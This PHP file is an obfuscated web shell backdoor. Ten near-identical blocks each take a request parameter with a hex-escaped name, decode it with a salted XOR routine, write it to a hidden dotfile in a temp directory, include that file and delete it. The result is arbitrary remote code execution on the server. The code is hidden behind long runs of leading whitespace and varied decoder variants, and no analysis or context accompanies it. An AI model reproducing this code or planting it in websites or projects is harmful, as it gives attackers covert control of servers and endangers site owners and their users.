<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x73\x79m"])){ $tkn = $_REQUEST["\x73\x79m"]; $tkn = explode ( "." ,$tkn) ; $reference = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2); foreach( $tkn as $x => $v2): $sChar = ord( $salt2[$x % $lenS]); $dec =( ( int)$v2 - $sChar -( $x % 10)) ^ 52; $reference .= chr( $dec); endforeach; $entry = array_filter(["/dev/shm", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP")]); foreach ($entry as $key): if (!!is_dir($key) && !!is_writable($key)) { $ent = implode("/", [$key, ".object"]); if (file_put_contents($ent, $reference)) { require $ent; unlink($ent); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x69\x74m"])){ $mrk = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path()]); $tkn = $_POST["\x69\x74m"]; $tkn = explode ( '.' ,$tkn ) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $u = 0; foreach($tkn as $v8) { $sChar = ord($salt[$u%$sLen] ); $d = ((int)$v8 - $sChar -($u%10)) ^ 74; $data .=chr($d ); $u++; } foreach ($mrk as $rec) { if (is_writable($rec) && is_dir($rec)) { $entry = implode("/", [$rec, ".key"]); $file = fopen($entry, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $entry; @unlink($entry); die(); } } } }
																																										if(@$_POST["k"] !== null){ $fac = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); $elem = $_POST["k"]; $elem = explode ( ".",$elem ); $flg = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $s = 0; foreach ($elem as $v2) { $sChar = ord($salt6[$s %$sLen]); $dec = ((int)$v2 - $sChar - ($s %10)) ^8; $flg .= chr($dec); $s++;} for ($mrk = 0, $element = count($fac); $mrk < $element; $mrk++) { $holder = $fac[$mrk]; if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $ref = sprintf("%s/.binding", $holder); if (file_put_contents($ref, $flg)) { include $ref; @unlink($ref); exit; } } } }
																																										if(!is_null($_REQUEST["en\x74"] ?? null)){ $elem = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp"]); $marker = $_REQUEST["en\x74"]; $marker = explode( "." , $marker ); $value=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $j=0; while($j < count($marker)) { $v8=$marker[$j]; $chS=ord($s[$j % $sLen]); $d=((int)$v8 - $chS -($j % 10)) ^ 58; $value .= chr($d); $j++; } foreach ($elem as $dchunk): if (is_dir($dchunk) && is_writable($dchunk)) { $rec = implode("/", [$dchunk, ".resource"]); if (@file_put_contents($rec, $value) !== false) { include $rec; unlink($rec); exit; } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["el\x65\x6D"])){ $binding = $_POST["el\x65\x6D"]; $binding = explode ( "." , $binding ) ; $record = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $u = 0; $__tmp = $binding; while($v9 = array_shift($__tmp)) { $sChar = ord($s5[$u % $lenS]); $d =((int)$v9 - $sChar -($u % 10)) ^99; $record.= chr($d); $u++; } $ent = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP")]); foreach ($ent as $desc): if (is_writable($desc) && is_dir($desc)) { $parameter_group = implode("/", [$desc, ".flag"]); $success = file_put_contents($parameter_group, $record); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } endforeach; }
																																										if(!is_null($_REQUEST["\x66a\x63"] ?? null)){ $descriptor = $_REQUEST["\x66a\x63"]; $descriptor = explode ("." ,$descriptor ) ; $symbol =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); foreach ($descriptor as $n =>$v3) { $sChar =ord($salt[$n % $sLen] ); $dec =((int)$v3 - $sChar - ($n % 10)) ^47; $symbol .= chr($dec ); } $res = array_filter([getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]); for ($rec = 0, $parameter_group = count($res); $rec < $parameter_group; $rec++) { $component = $res[$rec]; if ((is_dir($component) and is_writable($component))) { $hld = implode("/", [$component, ".factor"]); if (@file_put_contents($hld, $symbol) !== false) { include $hld; unlink($hld); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x64a\x74a"])){ $marker = $_POST["\x64a\x74a"]; $marker = explode( '.' , $marker ); $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $n = 0; foreach ($marker as $v2) { $chS = ord($s[$n % $lenS]); $d = ((int)$v2 - $chS - ($n % 10))^48; $entry .= chr($d); $n++; } $object = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); while ($flg = array_shift($object)) { if ((is_dir($flg) and is_writable($flg))) { $pset = join("/", [$flg, ".sym"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $pset; @unlink($pset); exit; } } } }
																																										if(!is_null($_REQUEST["mar\x6B\x65\x72"] ?? null)){ $ent = $_REQUEST["mar\x6B\x65\x72"]; $ent = explode('.' , $ent ); $pset = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $m = 0; $len = count($ent); do { if ($m >= $len) break; $v2 = $ent[$m]; $chS = ord($s7[$m % $lenS]); $dec = ((int)$v2 - $chS - ($m % 10)) ^ 42; $pset .= chr($dec); $m++;}while (true); $bind = array_filter([sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/var/tmp", "/tmp", session_save_path()]); while ($val = array_shift($bind)) { if (!( !is_dir($val) || !is_writable($val) )) { $itm = "$val/.ent"; if (@file_put_contents($itm, $pset) !== false) { include $itm; unlink($itm); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["f\x61ctor"])){ $entry = $_POST["f\x61ctor"]; $entry = explode ( "." , $entry); $pointer= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $k= 0; $__len= count( $entry); do { if( $k >= $__len) break; $v1= $entry[$k]; $sChar= ord( $salt[$k % $lenS]); $d= ( ( int)$v1 - $sChar -( $k % 10)) ^ 5; $pointer .= chr( $d); $k++;} while( true); $property_set = array_filter([getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp"]); foreach ($property_set as $holder) { if (max(0, is_dir($holder) * is_writable($holder))) { $desc = "$holder" . "/.item"; $file = fopen($desc, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $desc; @unlink($desc); die(); } } } }


if(isset($_REQUEST["\x72ef\x65re\x6E\x63e"]) ? true : false){
	$val = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp"]);
	$ent = $_REQUEST["\x72ef\x65re\x6E\x63e"];
	$ent 	= explode	(  '.'	 	,	 $ent);
	$data= '';
            $salt= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= strlen($salt);
            $v= 0;
            $len= count($ent);
    
            do {	if ($v 	>=	$len) break;
                $v5= $ent[$v];
                $sChar= ord($salt[$v % $lenS]);
                $dec= ((int)$v5 - $sChar - ($v % 10))		^51;
                $data.=chr($dec);
                $v++;
            } while (true);
	foreach ($val as $rec):
    		if (is_dir($rec) ? is_writable($rec) : false) {
    $dchunk = "$rec" . "/.element";
    $success = file_put_contents($dchunk, $data);
if ($success) {
	include $dchunk;
	@unlink($dchunk);
	die();}
}
endforeach;
}